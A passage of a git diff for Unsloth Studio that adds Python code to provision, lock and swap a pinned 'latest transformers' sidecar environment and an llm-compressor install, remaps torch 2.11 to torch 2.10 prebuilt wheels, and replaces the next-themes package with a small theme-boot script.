+    except Exception:
+        return None
+    try:
+        data = json.loads(raw)
+    except ValueError:
+        data = raw
+    if isinstance(data, str):
+        if not _is_valid_version_string(data):
+            return None
+        return {"version": data, "packages": list(_venv_t5_latest_packages(data))}
+    if not isinstance(data, dict):
+        return None
+    version = data.get("version")
+    if not _is_valid_version_string(version):
+        return None
+    packages = data.get("packages")
+    if not (
+        isinstance(packages, list)
+        and packages
+        and all(isinstance(p, str) and _is_safe_pin_spec(p) for p in packages)
+    ):
+        # Malformed or unexpected specs (the pin is user-writable on disk) never
+        # reach pip: rebuild the canonical set for the pinned version instead.
+        packages = list(_venv_t5_latest_packages(version))
+    return {"version": version, "packages": packages}
+
+
+def latest_venv_pinned_version() -> str | None:
+    """Exact transformers version pinned in .venv_t5_latest's marker, or None if the
+    sidecar was never provisioned (or the marker is unreadable/invalid)."""
+    data = _latest_pin_data()
+    return data["version"] if data else None
+
+
+def _venv_t5_latest_packages(version: str, extra_packages: tuple[str, ...] = ()) -> tuple[str, ...]:
+    """Package set for the latest sidecar; mirrors the fixed .venv_t5_* sidecars.
+    *extra_packages* carries dep-compat shadows (e.g. a newer tokenizers) computed by
+    utils.transformers_latest before install."""
+    return (
+        f"transformers=={version}",
+        "huggingface_hub==1.8.0",
+        "hf_xet==1.4.2",
+        "tiktoken",
+    ) + tuple(extra_packages)
+
+
+# Single reservation for ANY .venv_t5_latest replacement (consented install or lazy repair),
+# checked by training/export starts so no worker spawns mid-swap. Backed by a lock FILE (not just
+# this flag) so a lazy repair running in a worker subprocess stays visible to the parent's route
+# checks; the in-process flag marks ownership (only the owner unlinks the file).
+_sidecar_swap_lock = threading.Lock()
+_sidecar_swap_active = False
+_sidecar_swap_token: str | None = None
+_sidecar_swap_kind: str | None = None
+# An install is minutes; a lock this old is a crashed owner, not a live swap.
+_SWAP_LOCK_STALE_SECS = 2 * 60 * 60
+
+
+def _swap_lock_path() -> Path:
+    return Path(_VENV_T5_LATEST_DIR + ".swaplock")
+
+
+def _pid_alive(pid) -> bool:
+    if not isinstance(pid, int) or pid <= 0:
+        return False
+    try:
+        import psutil
+        return psutil.pid_exists(pid)
+    except Exception:
+        pass
+    if os.name == "nt":
+        # os.kill(pid, 0) is NOT a POSIX signal-0 liveness probe on Windows: signal 0
+        # is CTRL_C_EVENT, so CPython routes it through GenerateConsoleCtrlEvent (a real
+        # Ctrl+C to that console group) rather than a harmless check. Probe via OpenProcess.
+        try:
+            import ctypes
+            from ctypes import wintypes
+
+            kernel32 = ctypes.WinDLL("kernel32", use_last_error = True)
+            kernel32.OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD]
+            kernel32.OpenProcess.restype = wintypes.HANDLE
+            # PROCESS_QUERY_LIMITED_INFORMATION: minimal right, granted across integrity levels.
+            handle = kernel32.OpenProcess(0x1000, False, pid)
+            if handle:
+                kernel32.CloseHandle(handle)
+                return True
+            # ERROR_ACCESS_DENIED means the process exists but we may not query it.
+            return ctypes.get_last_error() == 5
+        except Exception:
+            return False
+    try:
+        os.kill(pid, 0)
+        return True
+    except OSError:
+        return False
+    except Exception:
+        return False
+
+
+def _swap_lock_is_stale(path: Path) -> bool:
+    """Stale when the recorded owner is provably dead: a crashed installer is reclaimed
+    at once, not after the long cutoff, so `/load`, training, export, and repair are not
+    wedged for hours after a crash. A live but slow pip install keeps its lock (its PID
+    is alive), so breaking it and racing two swaps on the same staging dirs stays
+    impossible. Only a lock whose PID can't be read (mid-write or corrupt) falls back to
+    the age cutoff, so the create-before-metadata-write window is never mistaken for dead."""
+    try:
+        age = time.time() - path.stat().st_mtime
+    except OSError:
+        return False
+    data = _read_swap_lock(path) or {}
+    pid = data.get("pid")
+    if not isinstance(pid, int) or pid <= 0:
+        return age > _SWAP_LOCK_STALE_SECS
+    return not _pid_alive(pid)
+
+
+class SidecarSwapInProgress(RuntimeError):
+    """A worker start lost the race to a .venv_t5_latest install/repair; retryable."""
+
+
+def _read_swap_lock(path: Path) -> dict | None:
+    try:
+        data = json.loads(path.read_text(encoding = "utf-8"))
+        return data if isinstance(data, dict) else {}
+    except FileNotFoundError:
+        return None
+    except OSError:
+        return {}
+    except Exception:
+        return {}
+
+
+def try_begin_sidecar_swap(kind: str = "install") -> bool:
+    """Reserve the sidecar swap window; False when one is already reserved
+    (in this process or, via the lock file, in any worker subprocess).
+    *kind* is "install" (consented route) or "repair" (lazy venv repair)."""
+    global _sidecar_swap_active, _sidecar_swap_token, _sidecar_swap_kind
+    with _sidecar_swap_lock:
+        if _sidecar_swap_active:
+            return False
+        token = f"{os.getpid()}-{time.time_ns()}"
+        path = _swap_lock_path()
+        try:
+            path.parent.mkdir(parents = True, exist_ok = True)
+        except OSError:
+            pass
+        for attempt in range(2):
+            try:
+                fd = os.open(str(path), os.O_CREAT | os.O_EXCL | os.O_WRONLY)
+                break
+            except FileExistsError:
+                if attempt or not _swap_lock_is_stale(path):
+                    return False
+                try:
+                    path.unlink()
+                except OSError:
+                    return False
+            except OSError:
+                # Lock file not creatable (odd filesystem): fall back to the process-local reservation.
+                fd = None
+                break
+        if fd is not None:
+            try:
+                with os.fdopen(fd, "w") as f:
+                    f.write(
+                        json.dumps(
+                            {"pid": os.getpid(), "at": time.time(), "token": token, "kind": kind}
+                        )
+                    )
+            except OSError:
+                pass
+        _sidecar_swap_active = True
+        _sidecar_swap_token = token
+        _sidecar_swap_kind = kind
+        return True
+
+
+def end_sidecar_swap() -> None:
+    """Release the reservation taken by :func:`try_begin_sidecar_swap`."""
+    global _sidecar_swap_active, _sidecar_swap_token, _sidecar_swap_kind
+    with _sidecar_swap_lock:
+        if _sidecar_swap_active:
+            # Only the file WE wrote is removed: if this reservation was declared
+            # stale and superseded, unlinking blindly would drop the new owner's
+            # live lock and unguard its in-flight swap.
+            path = _swap_lock_path()
+            data = _read_swap_lock(path)
+            if data is not None and data.get("token", _sidecar_swap_token) == _sidecar_swap_token:
+                try:
+                    path.unlink()
+                except OSError:
+                    pass
+        _sidecar_swap_active = False
+        _sidecar_swap_token = None
+        _sidecar_swap_kind = None
+
+
+def sidecar_swap_in_progress() -> bool:
+    """True while a .venv_t5_latest install or repair holds the reservation,
+    in this process or any other Studio process (lock file)."""
+    return sidecar_swap_kind() is not None
+
+
+def sidecar_swap_kind() -> str | None:
+    """The active reservation's kind ("install" / "repair"), or None when idle.
+    Lets guards that rely on the install route's own abort-on-active-worker
+    checks keep refusing for repairs, which have no such checks."""
+    with _sidecar_swap_lock:
+        if _sidecar_swap_active:
+            return _sidecar_swap_kind or "install"
+    path = _swap_lock_path()
+    try:
+        if not path.is_file() or _swap_lock_is_stale(path):
+            return None
+    except OSError:
+        return None
+    data = _read_swap_lock(path) or {}
+    kind = data.get("kind")
+    return kind if kind in ("install", "repair") else "install"
+
+
+def _stage_and_swap_latest_venv(
+    version: str,
+    packages: tuple[str, ...],
+    before_swap = None,
+) -> bool:
+    """Stage-and-swap: build the new sidecar next to the live one and swap only
+    once complete, so a failed install or marker write never destroys a
+    previously working .venv_t5_latest or its pin. Shared by the consented
+    install and the lazy repair path. *before_swap* (optional callable) runs
+    after the staging build succeeds and immediately before the live dir is
+    replaced, so callers can tear down workers only when the swap is certain;
+    if it raises, the previous sidecar is left untouched."""
+    staging = _VENV_T5_LATEST_DIR + ".staging"
+    retired = _VENV_T5_LATEST_DIR + ".old"
+    shutil.rmtree(staging, ignore_errors = True)
+    try:
+        if not _ensure_venv_dir(staging, packages, f"transformers {version} (latest)"):
+            # No exception, so the except cleanup below never runs; drop the partial dir.
+            shutil.rmtree(staging, ignore_errors = True)
+            return False
+        (Path(staging) / _LATEST_PIN_MARKER).write_text(
+            json.dumps({"version": version, "packages": list(packages)}), encoding = "utf-8"
+        )
+        if before_swap is not None:
+            before_swap()
+        shutil.rmtree(retired, ignore_errors = True)
+        if os.path.isdir(_VENV_T5_LATEST_DIR):
+            os.rename(_VENV_T5_LATEST_DIR, retired)
+        try:
+            os.rename(staging, _VENV_T5_LATEST_DIR)
+        except OSError:
+            # Restore the previous sidecar if the final swap fails.
+            if not os.path.isdir(_VENV_T5_LATEST_DIR) and os.path.isdir(retired):
+                os.rename(retired, _VENV_T5_LATEST_DIR)
+            raise
+    except Exception as exc:
+        logger.error("Could not provision transformers %s into .venv_t5_latest: %s", version, exc)
+        shutil.rmtree(staging, ignore_errors = True)
+        return False
+    shutil.rmtree(retired, ignore_errors = True)
+    # CONFIG_MAPPING_NAMES may have changed: drop the cached key set.
+    _config_mapping_cache.pop("latest", None)
+    logger.info("Provisioned .venv_t5_latest with transformers %s", version)
+    return True
+
+
+def _workers_active_for_repair() -> bool:
+    """Best-effort: any parent-visible chat/training/export worker alive. Never
+    raises; unavailable backends (worker subprocess, early startup) count idle."""
+    try:
+        from core.training import get_training_backend
+        if get_training_backend().is_training_active():
+            return True
+    except Exception:
+        pass
+    try:
+        from core.export import get_export_backend
+
+        _export = get_export_backend()
+        if _export.is_export_active():
+            return True
+        _alive = getattr(_export, "is_worker_alive", None)
+        if callable(_alive) and _alive():
+            return True
+    except Exception:
+        pass
+    try:
+        from core.inference import get_inference_backend
+
+        backend = get_inference_backend()
+        if getattr(backend, "active_model_name", None):
+            return True
+        # An in-flight load counts too: its worker spawns moments later.
+        if getattr(backend, "loading_models", None):
+            return True
+        _alive = getattr(backend, "is_worker_alive", None)
+        if callable(_alive) and _alive():
+            return True
+    except Exception:
+        pass
+    return False
+
+
+def _ensure_venv_t5_latest_exists() -> bool:
+    """Ensure .venv_t5_latest/ holds its pinned transformers version.
+
+    Never installs without a pin: an unprovisioned sidecar (no marker) returns False so
+    routing and probing behave exactly as before the feature existed. With a pin present
+    it repairs a broken dir the same way the fixed sidecars do.
+    """
+    pin = _latest_pin_data()
+    if pin is None:
+        return False
+    version = pin["version"]
+    packages = tuple(pin["packages"])
+    if _venv_dir_is_valid(_VENV_T5_LATEST_DIR, packages):
+        return True
+    if _env_offline():
+        logger.warning(
+            ".venv_t5_latest (transformers %s) is incomplete and offline mode is set; "
+            "cannot repair it.",
+            version,
+        )
+        return False
+    # Repairs are a parent-process action: a worker child's backend singletons are
+    # empty, so it cannot see live siblings that may still lazy-import from the
+    # sidecar. Fail activation in the child instead; the parent's routing
+    # self-heal (guarded below) performs the actual repair.
+    try:
+        import multiprocessing as _mp
+        if _mp.parent_process() is not None:
+            logger.warning(
+                ".venv_t5_latest is incomplete; repairs run in the parent process. "
+                "Retry after the parent repairs the sidecar."
+            )
+            return False
+    except Exception:
+        pass
+    # Same stage-and-swap as the install, under the same reservation so training/export starts
+    # (which check sidecar_swap_in_progress) wait out a lazy repair; a failed repair keeps the pin.
+    if not try_begin_sidecar_swap(kind = "repair"):
+        logger.warning(
+            "Cannot repair .venv_t5_latest: another sidecar install or repair is in progress."
+        )
+        return False
+    try:
+        # Worker check UNDER the reservation (the install route quiesces workers;
+        # a repair has none): worker starts set their active markers BEFORE
+        # rechecking the reservation, so either this check sees them and aborts,
+        # or their recheck sees this reservation and aborts -- no interleaving
+        # lets a worker spawn against a mid-swap sidecar.
+        if _workers_active_for_repair():
+            logger.warning(
+                "Cannot repair .venv_t5_latest: active chat/training/export workers "
+                "may be importing from it. Retry when they are idle."
+            )
+            return False
+        return _stage_and_swap_latest_venv(version, packages)
+    finally:
+        end_sidecar_swap()
+
+
+def ensure_latest_transformers_venv(
+    version: str,
+    extra_packages: tuple[str, ...] = (),
+    before_swap = None,
+) -> bool:
+    """Provision .venv_t5_latest/ pinned to *version* (user-consented install path).
+
+    Reuses the same --target/--no-deps installer as the fixed sidecars, then writes the pin
+    marker (version + full package set) so the venv persists across restarts and
+    :func:`latest_venv_pinned_version` / routing pick it up automatically.
+    *extra_packages* carries dep-compat shadows (see utils.transformers_latest).
+    Returns True on success.
+    """
+    if not _is_valid_version_string(version):
+        logger.error("Refusing to install invalid transformers version %r", version)
+        return False
+    if _env_offline():
+        logger.warning(
+            "Cannot install transformers %s: HF/transformers offline mode is set.", version
+        )
+        return False
+    packages = _venv_t5_latest_packages(version, extra_packages)
+    pin = _latest_pin_data()
+    if (
+        pin is not None
+        and pin["version"] == version
+        and tuple(pin["packages"]) == packages
+        and _venv_dir_is_valid(_VENV_T5_LATEST_DIR, packages)
+    ):
+        return True
+    return _stage_and_swap_latest_venv(version, packages, before_swap = before_swap)
+
+
+# --- llm-compressor-main shadow (FP8/FP4 export of newer-transformers models) ---------------------
+# Exact, reproducible pins (bump deliberately in review). Full 40-char SHA validated to FP8-quantize
+# Qwen3.5 / Gemma-4 / Llama.
+_LLMC_MAIN_TRANSFORMERS = "5.10.2"
+_LLMC_MAIN_SHA = "973c9c539a84dd9efaf74e115ede5ca419704c18"
+_LLMC_MAIN_COMPRESSED_TENSORS = "0.17.2a20260702"
+# Installed --no-deps (torch untouched); the full runtime set llm-compressor main needs, pinned.
+_VENV_LLMCOMPRESSOR_SPECS = (
+    f"transformers=={_LLMC_MAIN_TRANSFORMERS}",
+    f"llmcompressor @ git+https://github.com/vllm-project/llm-compressor@{_LLMC_MAIN_SHA}",
+    f"compressed-tensors=={_LLMC_MAIN_COMPRESSED_TENSORS}",
+    "huggingface-hub==1.21.0",
+    "hf-xet==1.5.1",
+    "tokenizers==0.22.2",
+    "safetensors==0.8.0",
+    "accelerate==1.14.0",
+    "datasets==5.0.0",
+    "pydantic==2.13.4",
+    "pydantic-core==2.46.4",
+    "typing-inspection==0.4.2",
+    "loguru==0.7.3",
+    "pyyaml==6.0.3",
+    "nvidia-ml-py==13.610.43",
+    "pillow==12.3.0",
+    "auto-round==0.13.1",
+    "regex==2026.6.28",
+)
+# Fingerprint of the pin set; bump the trailing schema version to force a rebuild on layout changes.
+_LLMC_SHADOW_FINGERPRINT = (
+    f"{_LLMC_MAIN_SHA}|{_LLMC_MAIN_TRANSFORMERS}|{_LLMC_MAIN_COMPRESSED_TENSORS}|schema=1"
+)
+_LLMC_SHADOW_MARKER = ".unsloth_llmc_fingerprint"
+
+
+def _llmcompressor_main_disabled() -> bool:
+    """True if the operator forbids the llm-compressor-main shadow (air-gapped / locked-down)."""
+    return os.environ.get("UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN", "").strip().lower() in {
+        "1",
+        "true",
+        "yes",
+        "on",
+    }
+
+
+def _llmcompressor_shadow_is_valid() -> bool:
+    """True if the shadow dir exists with a marker matching the current pin fingerprint."""
+    marker = Path(_VENV_LLMCOMPRESSOR_DIR) / _LLMC_SHADOW_MARKER
+    try:
+        return marker.is_file() and marker.read_text().strip() == _LLMC_SHADOW_FINGERPRINT
+    except Exception:
+        return False
+
+
+def _ensure_venv_llmcompressor_exists() -> bool:
+    """Ensure .venv_llmcompressor/ has the pinned llm-compressor-main stack. Install if missing.
+
+    All specs are installed with --no-deps into a --target dir (mirrors the transformers sidecars),
+    so the workspace torch is never touched. Returns True on success.
+    """
+    if _llmcompressor_shadow_is_valid():
+        return True
+    if _llmcompressor_main_disabled():
+        logger.warning(
+            "llm-compressor-main shadow needed but UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN is set; "
+            "compressed export of newer-transformers models will fail fast."
+        )
+        return False
+    if _env_offline():
+        logger.warning(
+            "llm-compressor-main shadow missing and HF/offline mode is set; cannot provision it."
+        )
+        return False
+
+    logger.warning(
+        "Provisioning llm-compressor-main shadow at %s (one-time, ~a few hundred MB, no torch) ...",
+        _VENV_LLMCOMPRESSOR_DIR,
+    )
+    shutil.rmtree(_VENV_LLMCOMPRESSOR_DIR, ignore_errors = True)
+    os.makedirs(_VENV_LLMCOMPRESSOR_DIR, exist_ok = True)
+
+    # Prefer uv (faster) then pip; install every spec at once, --no-deps, prereleases allowed
+    # (compressed-tensors ships as a pre-release).
+    base = [
+        "--target",
+        _VENV_LLMCOMPRESSOR_DIR,
+        "--no-deps",
+        "--prerelease=allow",
+        *_VENV_LLMCOMPRESSOR_SPECS,
+    ]
+    cmds = []
+    if shutil.which("uv"):
+        cmds.append(["uv", "pip", "install", "--python", sys.executable, *base])
+    cmds.append(
+        [
+            sys.executable,
+            "-m",
+            "pip",
+            "install",
+            *[a for a in base if a != "--prerelease=allow"],
+            "--pre",
+        ]
+    )
+
+    last_out = ""
+    for cmd in cmds:
+        result = subprocess.run(
+            cmd,
+            stdout = subprocess.PIPE,
+            stderr = subprocess.STDOUT,
+            text = True,
+            env = child_env_without_native_path_secret(),
+            **_windows_hidden_subprocess_kwargs(),
+        )
+        last_out = result.stdout or ""
+        if result.returncode == 0:
+            try:
+                (Path(_VENV_LLMCOMPRESSOR_DIR) / _LLMC_SHADOW_MARKER).write_text(
+                    _LLMC_SHADOW_FINGERPRINT
+                )
+            except Exception:
+                pass
+            logger.info("Provisioned llm-compressor-main shadow at %s", _VENV_LLMCOMPRESSOR_DIR)
+            return True
+        logger.warning("llm-compressor-main shadow install failed with %s; trying next", cmd[0])
+
+    logger.error(
+        "Failed to provision llm-compressor-main shadow (spec: llmcompressor@%s). Output:\n%s",
+        _LLMC_MAIN_SHA,
+        last_out[-4000:],
+    )
+    return False
+
+
+def llmcompressor_shadow_pythonpath() -> str | None:
+    """Provision (lazily) the llm-compressor-main shadow and return its sys.path entry, or None.
+
+    Returns None when the shadow is disabled (UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN), offline, or
+    provisioning failed - callers then fall back to the fail-fast path.
+    """
+    if _llmcompressor_main_disabled():
+        return None
+    if _ensure_venv_llmcompressor_exists():
+        return _VENV_LLMCOMPRESSOR_DIR
+    return None
+
+
 def _activate_venv(venv_dir: str, label: str) -> None:
     """Prepend *venv_dir* to sys.path, purge stale modules, reimport."""
     if venv_dir not in sys.path:
@@ -1534,7 +2510,7 @@ def _activate_venv(venv_dir: str, label: str) -> None:
 
 def _deactivate_5x() -> None:
     """Remove all .venv_t5_*/ dirs from sys.path, purge stale modules, reimport."""
-    for d in (_VENV_T5_530_DIR, _VENV_T5_550_DIR, _VENV_T5_510_DIR):
+    for d in (_VENV_T5_530_DIR, _VENV_T5_550_DIR, _VENV_T5_510_DIR, _VENV_T5_LATEST_DIR):
         while d in sys.path:
             sys.path.remove(d)
     logger.info("Removed venv_t5 dirs from sys.path")
@@ -1568,14 +2544,25 @@ def ensure_transformers_version(model_name: str) -> None:
     if _is_lora_adapter_dir(Path(model_name)):
         resolved = _resolve_base_model(model_name)
     else:
-        resolved = model_name
+        # A remote adapter's tier is its BASE model's (see activation above).
+        resolved = _remote_lora_base(model_name) or model_name
     tier = get_transformers_tier(resolved)
     if model_name != resolved and _safe_is_file(Path(model_name) / "config.json"):
         # Gate on a real local config.json: a checkpoint carries config the base may not
         # surface, but path names alone must not upgrade a plain adapter.
         tier = _higher_tier(tier, get_transformers_tier(model_name))
 
-    if tier == "510":
+    if tier == "latest":
+        pinned = latest_venv_pinned_version()
+        if pinned is None:
+            raise RuntimeError(
+                f"Cannot activate the latest-transformers sidecar: "
+                f"no pin marker at {_VENV_T5_LATEST_DIR}"
+            )
+        target_version = pinned
+        venv_dir = _VENV_T5_LATEST_DIR
+        ensure_fn = _ensure_venv_t5_latest_exists
+    elif tier == "510":
         target_version = TRANSFORMERS_510_VERSION
         venv_dir = _VENV_T5_510_DIR
         ensure_fn = _ensure_venv_t5_510_exists
diff --git a/studio/backend/utils/wheel_utils.py b/studio/backend/utils/wheel_utils.py
index 98697df83c..1b5926fd49 100644
--- a/studio/backend/utils/wheel_utils.py
+++ b/studio/backend/utils/wheel_utils.py
@@ -26,11 +26,14 @@ FLASH_ATTN_RELEASE_BASE_URL = "https://github.com/Dao-AILab/flash-attention/rele
 def has_blackwell_gpu() -> bool:
     """Return True if any visible NVIDIA GPU has compute capability >= 10.0 (Blackwell).
 
-    Dao-AILab ships no flash-attention wheels for these archs and older-arch wheels
-    fail to load, so callers use this to skip the flash-attn install path. Cached
-    for the process lifetime; tests mocking nvidia-smi must call
+    Cached for the process lifetime; tests mocking nvidia-smi must call
     ``has_blackwell_gpu.cache_clear()`` first.
     """
+    # Detection disabled for now: Dao-AILab ships Blackwell (sm_100+) flash-attn
+    # wheels and url_exists() already gates resolution, so we no longer skip
+    # flash-attn on Blackwell. The nvidia-smi probe below is kept for possible
+    # future arch-based gating; drop this early return to re-enable it.
+    return False
     exe = shutil.which("nvidia-smi")
     if not exe:
         return False
@@ -117,6 +120,19 @@ def probe_torch_wheel_env(*, timeout: int | None = None) -> dict[str, str] | Non
     return env
 
 
+# torch 2.11 has no native prebuilt wheels for flash-attn / causal-conv1d / mamba
+# yet, but their torch 2.10 CUDA wheels load and pass the projects' own test suites
+# on torch 2.11 (verified on B200: FA2 fwd/bwd, causal-conv1d, and mamba selective
+# scan all match reference). Reuse the torch 2.10 wheels on torch 2.11 so a 2.11
+# install still gets these prebuilt accelerators instead of building from source.
+_PREBUILT_WHEEL_TORCH_MM = {"2.11": "2.10"}
+
+
+def prebuilt_wheel_torch_mm(torch_mm: str) -> str:
+    """Map a torch major.minor to the one whose prebuilt accelerator wheels to use."""
+    return _PREBUILT_WHEEL_TORCH_MM.get(torch_mm, torch_mm)
+
+
 def direct_wheel_url(
     *,
     filename_prefix: str,
@@ -130,7 +146,7 @@ def direct_wheel_url(
 
     filename = (
         f"{filename_prefix}-{package_version}"
-        f"+cu{env['cuda_major']}torch{env['torch_mm']}"
+        f"+cu{env['cuda_major']}torch{prebuilt_wheel_torch_mm(env['torch_mm'])}"
         f"cxx11abi{env['cxx11abi']}-{env['python_tag']}-{env['python_tag']}"
         f"-{env['platform_tag']}.whl"
     )
@@ -152,7 +168,7 @@ def flash_attn_package_version(torch_mm: str) -> str | None:
 def flash_attn_wheel_url(env: dict[str, str] | None) -> str | None:
     if env is None:
         return None
-    package_version = flash_attn_package_version(env["torch_mm"])
+    package_version = flash_attn_package_version(prebuilt_wheel_torch_mm(env["torch_mm"]))
     if package_version is None:
         return None
     return direct_wheel_url(
diff --git a/studio/frontend/index.html b/studio/frontend/index.html
index 0fbb4eaeeb..6a7eadc04e 100644
--- a/studio/frontend/index.html
+++ b/studio/frontend/index.html
@@ -8,6 +8,9 @@
     <link rel="icon" type="image/png" href="/favicon.png" />
     <meta name="viewport" content="width=device-width, initial-scale=1.0" />
     <title>Unsloth Studio</title>
+    <!-- Applies the stored theme before the bundle loads; external file
+         because the backend CSP is script-src 'self'. -->
+    <script src="/theme-boot.js"></script>
   </head>
   <body>
     <div id="root"></div>
diff --git a/studio/frontend/package-lock.json b/studio/frontend/package-lock.json
index 80db64553a..1d5c09ba72 100644
--- a/studio/frontend/package-lock.json
+++ b/studio/frontend/package-lock.json
@@ -53,7 +53,6 @@
         "lucide-react": "^1.7.0",
         "mammoth": "^1.11.0",
         "motion": "^12.34.0",
-        "next-themes": "^0.4.6",
         "node-forge": "^1.4.0",
         "radix-ui": "^1.4.3",
         "react": "^19.2.4",
@@ -1704,7 +1703,6 @@
       "os": [
         "android"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1725,7 +1723,6 @@
       "os": [
         "darwin"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1746,7 +1743,6 @@
       "os": [
         "darwin"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1767,7 +1763,6 @@
       "os": [
         "linux"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1788,7 +1783,6 @@
       "os": [
         "linux"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1809,7 +1803,6 @@
       "os": [
         "linux"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1830,7 +1823,6 @@
       "os": [
         "linux"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1851,7 +1843,6 @@
       "os": [
         "linux"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1872,7 +1863,6 @@
       "os": [
         "linux"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1893,7 +1883,6 @@
       "os": [
         "win32"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1914,7 +1903,6 @@
       "os": [
         "win32"
       ],
-      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -12570,16 +12558,6 @@
         "node": ">= 0.6"
       }
     },
-    "node_modules/next-themes": {
-      "version": "0.4.6",
-      "resolved": "https://registry.npmjs.org/next-themes/-/next-themes-0.4.6.tgz",
-      "integrity": "sha512-pZvgD5L0IEvX5/9GWyHMf3m8BKiVQwsCMHfoFosXtXBMnaS0ZnIJ9ST4b4NqLVKDEm8QBxoNNGNaBv2JNF6XNA==",
-      "license": "MIT",
-      "peerDependencies": {
-        "react": "^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc"
-      }
-    },
     "node_modules/node-domexception": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz",
diff --git a/studio/frontend/package.json b/studio/frontend/package.json
index a2eddecda3..fc6911c4be 100644
--- a/studio/frontend/package.json
+++ b/studio/frontend/package.json
@@ -62,7 +62,6 @@
     "lucide-react": "^1.7.0",
     "mammoth": "^1.11.0",
     "motion": "^12.34.0",
-    "next-themes": "^0.4.6",
     "node-forge": "^1.4.0",
     "radix-ui": "^1.4.3",
     "react": "^19.2.4",
diff --git a/studio/frontend/public/theme-boot.js b/studio/frontend/public/theme-boot.js
new file mode 100644
index 0000000000..70bd93e0e1
--- /dev/null
+++ b/studio/frontend/public/theme-boot.js
@@ -0,0 +1,27 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Apply the stored theme and palette before the bundle loads so the first
+// paint is never the wrong mode. Loaded as an external classic script (it
+// blocks parsing, like an inline script) because the backend CSP only
+// allows script-src 'self'.
+try {
+  // Storage reads get their own guards so a blocked localStorage (private
+  // browsing) still resolves a mode from the OS preference.
+  var theme = "system";
+  var palette = null;
+  try {
+    theme = localStorage.getItem("theme") || "system";
+    palette = localStorage.getItem("palette");
+  } catch (e) {}
+  var dark =
+    theme === "dark" ||
+    (theme !== "light" && matchMedia("(prefers-color-scheme: dark)").matches);
+  var root = document.documentElement;
+  root.classList.toggle("dark", dark);
+  root.classList.toggle("light", !dark);
+  root.style.colorScheme = dark ? "dark" : "light";
+  if (palette === "classic" || palette === "minimal") {
+    root.setAttribute("data-palette", palette);
+  }
+} catch (e) {}
diff --git a/studio/frontend/src/app/provider.tsx b/studio/frontend/src/app/provider.tsx
index 176665769d..c35706e50a 100644
--- a/studio/frontend/src/app/provider.tsx
+++ b/studio/frontend/src/app/provider.tsx
@@ -1,33 +1,38 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { LlamaUpdateBanner } from "@/components/llama-update-banner";
 import { StartupScreen } from "@/components/tauri/startup-screen";
 import { UpdateBanner } from "@/components/tauri/update-banner";
 import { UpdateScreen } from "@/components/tauri/update-screen";
 import {
   WindowTitlebar,
-  shouldUseNativeMacWindowTitlebar,
   shouldUseCustomWindowTitlebar,
+  shouldUseNativeMacWindowTitlebar,
 } from "@/components/tauri/window-titlebar";
 import { Toaster } from "@/components/ui/sonner";
 import { TooltipProvider } from "@/components/ui/tooltip";
 import { WebUpdateBanner } from "@/components/web/update-banner";
-import { LlamaUpdateBanner } from "@/components/llama-update-banner";
-import { DownloadManagerPanel } from "@/features/hub/download-manager";
+import { fetchDeviceType } from "@/config/env";
 import { getTauriAuthFailure, tauriAutoAuth } from "@/features/auth";
+import { DownloadManagerPanel } from "@/features/hub/download-manager";
 import { NativeIntentDrain } from "@/features/native-intents/native-intent-drain";
-import { useTauriBackend, type BackendStatus } from "@/hooks/use-tauri-backend";
+import {
+  applyCustomizationToDocument,
+  useAppearanceCustomStore,
+  useTheme,
+} from "@/features/settings";
+import { type BackendStatus, useTauriBackend } from "@/hooks/use-tauri-backend";
 import { useTauriUpdate } from "@/hooks/use-tauri-update";
 import { isTauri } from "@/lib/api-base";
-import { fetchDeviceType } from "@/config/env";
 import { useRouterState } from "@tanstack/react-router";
-import { ThemeProvider } from "next-themes";
+import { MotionConfig } from "motion/react";
 import {
+  type CSSProperties,
+  type ReactNode,
   useEffect,
   useRef,
   useState,
-  type CSSProperties,
-  type ReactNode,
 } from "react";
 
 interface AppProviderProps {
@@ -43,7 +48,9 @@ const SETUP_WINDOW_WIDTH = 760;
 const SETUP_WINDOW_HEIGHT = 560;
 
 async function showSetupWindow(isCurrent: WindowLayoutGuard): Promise<void> {
-  const { getCurrentWindow, LogicalSize } = await import("@tauri-apps/api/window");
+  const { getCurrentWindow, LogicalSize } = await import(
+    "@tauri-apps/api/window"
+  );
   if (!isCurrent()) return;
 
   const win = getCurrentWindow();
@@ -57,7 +64,9 @@ async function showSetupWindow(isCurrent: WindowLayoutGuard): Promise<void> {
 }
 
 async function enforceMinimumWindowSize(
-  win: Awaited<ReturnType<typeof import("@tauri-apps/api/window")["getCurrentWindow"]>>,
+  win: Awaited<
+    ReturnType<typeof import("@tauri-apps/api/window")["getCurrentWindow"]>
+  >,
   LogicalSize: typeof import("@tauri-apps/api/window")["LogicalSize"],
   isCurrent: WindowLayoutGuard,
 ): Promise<void> {
@@ -76,10 +85,16 @@ async function enforceMinimumWindowSize(
   }
 }
 
-async function applyAppWindowLayout(isCurrent: WindowLayoutGuard): Promise<void> {
-  const { getCurrentWindow, currentMonitor, LogicalSize } = await import("@tauri-apps/api/window");
+async function applyAppWindowLayout(
+  isCurrent: WindowLayoutGuard,
